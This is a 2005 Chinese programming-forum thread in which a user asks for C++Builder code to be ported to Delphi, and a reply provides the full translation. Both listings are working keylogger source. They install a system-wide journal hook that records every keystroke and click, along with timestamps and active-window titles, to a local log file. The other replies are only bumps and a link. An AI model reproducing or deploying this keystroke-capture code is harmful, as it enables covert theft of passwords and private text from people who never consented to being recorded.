谁能帮我把这段c+builder的代码改为delphi的(日志钩子的)

huabihan 2005-06-16 01:35:38
//---------------------------------------------------------------------------

#include <vcl.h>
#pragma hdrstop
#include <stdio.h>

#include "Unit1.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
HHOOK g_hLogHook=NULL;
HWND g_hLastFocus=NULL;
const int KeyPressMask=0x80000000; //键盘掩码常量
char g_PrvChar; //保存上一次按键值
LRESULT CALLBACK JournalLogProc(int iCode,
WPARAM wParam, LPARAM lParam);



//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender)
{
if (g_hLogHook==NULL)
g_hLogHook = SetWindowsHookEx
(WH_JOURNALRECORD,
(HOOKPROC)JournalLogProc,
HInstance,0); //安装日志钩子

}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button2Click(TObject *Sender)
{
if (g_hLogHook!=NULL)
{UnhookWindowsHookEx(g_hLogHook);
g_hLogHook=NULL;
} //卸载日志钩子

}
//---------------------------------------------------------------------------
LRESULT CALLBACK JournalLogProc(int iCode,
WPARAM wParam, LPARAM lParam)
{
if (iCode<0)
return CallNextHookEx (g_hLogHook,iCode,wParam,lParam);
if (iCode==HC_ACTION)
{EVENTMSG *pEvt=(EVENTMSG *)lParam;
int i; HWND hFocus; //保存当前活动窗口句柄
char szTitle[256]; //当前窗口名称
char szTime[128]; //保存当前的日期和时间
FILE *stream=fopen("c:\\logfile.txt","a+t");
if (pEvt->message==WM_KEYDOWN)
{int vKey=LOBYTE(pEvt->paramL); // 取得虚拟键值
char ch;
char str[10];
hFocus=GetActiveWindow();
//取得当前活动窗口句柄
if(g_hLastFocus!=hFocus)
//当前活动窗口是否改变
{GetWindowText(hFocus,szTitle,256);
g_hLastFocus=hFocus;
strcpy(szTime,DateTimeToStr(Now())
.c_str()); //得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",
10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
int iShift=GetKeyState(0x10);
//测试SHIFT,CAPTION,NUMLOCK等键是否按下
int iCapital=GetKeyState(0x14);
int iNumLock=GetKeyState(0x90);
bool bShift=(iShift & KeyPressMask)==KeyPressMask;
bool bCapital=(iCapital & 1)==1;
bool bNumLock=(iNumLock & 1)==1;
if (vKey >=48 && vKey<=57) // 数字0-9
if (!bShift) fprintf(stream,"%c",vKey);
if (vKey>=65 && vKey<=90) // A-Z a-z
{if (!bCapital)
if (bShift) ch=vKey ;
else ch=vKey+32 ;
else if (bShift) ch=vKey+32;
else ch=vKey;
fprintf(stream,"%c",ch);
}
if (vKey>=96 && vKey<=105) // 小键盘0-9
if (bNumLock)
fprintf(stream,"%c",vKey-96+48);
if (vKey>=186 && vKey<=222) // 其他键
{switch (vKey) {
case 186:
if (!bShift) ch=';' ;
else ch=':';
break;
case 187:
if (!bShift) ch='=' ;
else ch='+' ;
break;
case 188:
if (!bShift) ch=',';
else ch='<' ;
break;
case 189:
if (!bShift) ch='-' ;
else ch='_' ;
break;
case 190:
if (!bShift) ch='.' ;
else ch='>' ;
break;
case 191:
if (!bShift) ch='/' ;
else ch='?' ;
break;
case 192:if (!bShift) ch='`'; else ch='~' ;break;
case 219:if (!bShift) ch='[' ; else ch='{' ;break;
case 220:if (!bShift) ch='\\' ; else ch='|' ;break;
case 221:if (!bShift) ch=']' ; else ch='}' ;break;
case 222:if (!bShift) ch='/'; else ch='\''; break;
default:ch='n' ;break;
}
if (ch!='n') fprintf(stream,"%c",ch); } //
if (wParam>=112 && wParam<=123) // 功能键 [F1]-[F12]
if (vKey>=8 && vKey<=46) //方向键
{switch (vKey) {
case 8:strcpy(str,"[BK]");break;
case 9:strcpy(str,"[TAB]");break;
case 13:strcpy(str,"[EN]");break;
case 32:strcpy(str,"[SP]");break;
case 33:strcpy(str,"[PU]");break;
case 34:strcpy(str,"[PD]");break;
case 35:strcpy(str,"[END]");break;
case 36:strcpy(str,"[HOME]");break;
case 37:strcpy(str,"[LF]");break;
case 38:strcpy(str,"[UF]");break;
case 39:strcpy(str,"[RF]");break;
case 40:strcpy(str,"[DF]");break;
case 45:strcpy(str,"[INS]");break;
case 46:strcpy(str,"[DEL]");break;
default:ch='n' ;break;
}
if (ch!='n' )
{if (g_PrvChar!=vKey)
{fprintf(stream,"%s",str); g_PrvChar=vKey;
}
}
}
}
if (pEvt->message==WM_LBUTTONDOWN ||pEvt->message==WM_RBUTTONDOWN)
{hFocus=GetActiveWindow();
if (g_hLastFocus!=hFocus)
{g_hLastFocus=hFocus;
GetWindowText(hFocus,szTitle,256);
strcpy(szTime,DateTimeToStr(Now()).c_str());
//得到当前的日期时间
fprintf(stream,"%c%s%c%c%s",
10,szTime,32,32,szTitle); //写入文件
fprintf(stream,"%c%c",32,32);
}
}
fclose(stream);
return CallNextHookEx
(g_hLogHook,iCode,wParam,lParam);
}
}
最好测试通过.
...全文
87 点赞 收藏 7
写回复
7 条回复
切换为时间正序
当前发帖距今超过3年,不再开放新的回复
发表回复
naughtyboy 2005-06-27
帮你改了一下,简直一模一样啊

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Memo1: TMemo;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;



var
Form1: TForm1;

g_hLogHook : HHook;
g_hLastFocus : HWND;
g_PrvChar: char;

implementation

{$R *.dfm}

const
KeyPressMask=$80000000;


function JournalLogProc(iCode: Integer;wParam:WPARAM;lParam:LPARAM): Integer;stdcall;
var
evt: PEVENTMSG;
i : Integer;
hFocus : HWND;
szTitle : array[0..255] of char;
szTime : array[0..127] of char;
vKey : Integer;
ch : char;
str: array[0..9] of char;
txt: TextFile;
iShift,iCapital,iNumLock : Integer;
bShift,bCapital,bNumLock : Boolean;

begin
if iCode<0 then begin
Result := CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
Exit;
end;
if iCode=HC_ACTION then begin
evt:=PEVENTMSG(lParam);
AssignFile(txt,'c:\logfile.txt');
if not fileexists('c:\logfile.txt') then
ReWrite(txt)
else
Append(txt);
if evt^.message=WM_KEYDOWN then begin
vKey:=LoByte(evt^.paramL);
hFocus := GetActiveWindow();
if g_hLastFocus<> hFocus then begin
GetWindowText(hFocus,szTitle,256);
g_hLastFocus:= hFocus;
strcopy(szTime,Pchar(DateTimeToStr(now)));
write(txt,#10,szTime,#32,#32,szTitle);
write(txt,#32,#32);
end;
iShift := GetKeyState($10);
iCapital := GetKeyState($14);
iNumLock := GetKeyState($90);

bShift := (iShift and KeyPressMask)=KeyPressMask;
bCapital := (iCapital and 1)=1;
bNumLock := (iNumLock and 1)=1;

if (vKey >=48) and (vkey<=57) then begin
if not bShift then
write(txt,chr(vKey));
end;

if (vKey>=65) and (vKey<=90) then begin
if not bCapital then begin
if bShift then
ch:=chr(vKey)
else
ch:=chr(vKey+32);
end
else begin
if bShift then
ch:=chr(vKey+32)
else
ch:= chr(vKey);
end;
write(txt,ch);
end;

if (vKey>=96) and (vKey<=105) then begin
if bNumLock then
write(txt,chr(vkey-96+48));
end;

if (vKey>=186) and (vKey<=222) then begin
case vKey of
186:
begin
if not bShift then
ch:=';'
else
ch:=':';
end;
187:
begin
if not bShift then
ch:='='
else
ch:='+';
end;
188:
begin
if not bShift then
ch:=','
else
ch:='<';
end;
189:
begin
if not bShift then
ch:='-'
else
ch:='_';
end;
190:
begin
if not bShift then
ch:='.'
else
ch:='>';
end;
191:
begin
if not bShift then
ch:='/'
else
ch:='?';
end;
192:
begin
if not bShift then
ch:='`'
else
ch:='~';
end;
219:
begin
if not bShift then
ch:='['
else
ch:='{';
end;
220:
begin
if not bShift then
ch:='\'
else
ch:='|';
end;
221:
begin
if not bShift then
ch:=']'
else
ch:='}';
end;
222:
begin
if not bShift then
ch:='\'
else
ch:='/';
end;
else
ch:='n';
end;

if ch<>'n' then
write(txt,ch);
end;

if (wParam>=112) and (wParam<=123) then begin
//功能键F1-F12
end;
if(vKey>=8) and (vKey<=46) then begin
case vKey of
8:
begin
strcopy(str,'[BK]');
end;
9:
begin
strcopy(str,'[TAB]');
end;
13:
begin
strcopy(str,'[EN]');
end;
32:
begin
strcopy(str,'[SP]');
end;
33:
begin
strcopy(str,'[PU]');
end;
34:
begin
strcopy(str,'[PD]');
end;
35:
begin
strcopy(str,'[END]');
end;
36:
begin
strcopy(str,'[HOME]');
end;
37:
begin
strcopy(str,'[LF]');
end;
38:
begin
strcopy(str,'[UF]');
end;
39:
begin
strcopy(str,'[RF]');
end;
40:
begin
strcopy(str,'[DF]');
end;
45:
begin
strcopy(str,'[INS]');
end;
46:
begin
strcopy(str,'[DEL]');
end
else
ch:='n' ;
end;

if (ch<>'n') then begin
if (g_PrvChar <> chr(vKey)) then begin
write(txt,str);
g_PrvChar:= chr(vKey);
end;
end;
end;

end;



if (evt^.message=WM_LBUTTONDOWN) or (evt^.message=WM_RBUTTONDOWN) then begin
hFocus := GetActiveWindow();
if (g_hLastFocus<>hFocus) then begin
g_hLastFocus := hFocus;
GetWindowText(hFocus,szTitle,256);
strcopy(szTime,Pchar(DateTimeToStr(now)));
write(txt,#10,szTime,#32,#32,szTitle);
write(txt,#32,#32);
end;
end;

CloseFile(txt);
result := CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
end;
end;


procedure TForm1.Button1Click(Sender: TObject);
begin
if g_hLogHook=0 then begin
g_hLogHook := SetWindowsHookEx(WH_JOURNALRECORD,JournalLogProc,HInstance,0);
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
if g_hLogHook<>0 then begin
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook:= 0;
end;
end;

end.
回复
lovend 2005-06-23
帮你顶
回复
huabihan 2005-06-23
怎么没人啊 ,我可以在加分。
回复
huabihan 2005-06-19
哎,还是自己慢慢翻一下语法资料,没人回答.
回复
lovend 2005-06-16
帮你顶。
回复
huabihan 2005-06-16
上面那个看过,我对delphi不熟,希望通过该这个熟悉一下.
回复
TechnoFantasy 2005-06-16
这个应该是鼠标键盘钩子,Delphi建立键盘鼠标动作纪录与回放 :



http://cnprogram.diy.myrice.com/article/delphi/delphi525.html
回复
相关推荐
发帖
Windows SDK/API
创建于2007-08-02

1157

社区成员

Delphi Windows SDK/API
申请成为版主
帖子事件
创建了帖子
2005-06-16 01:35
社区公告
暂无公告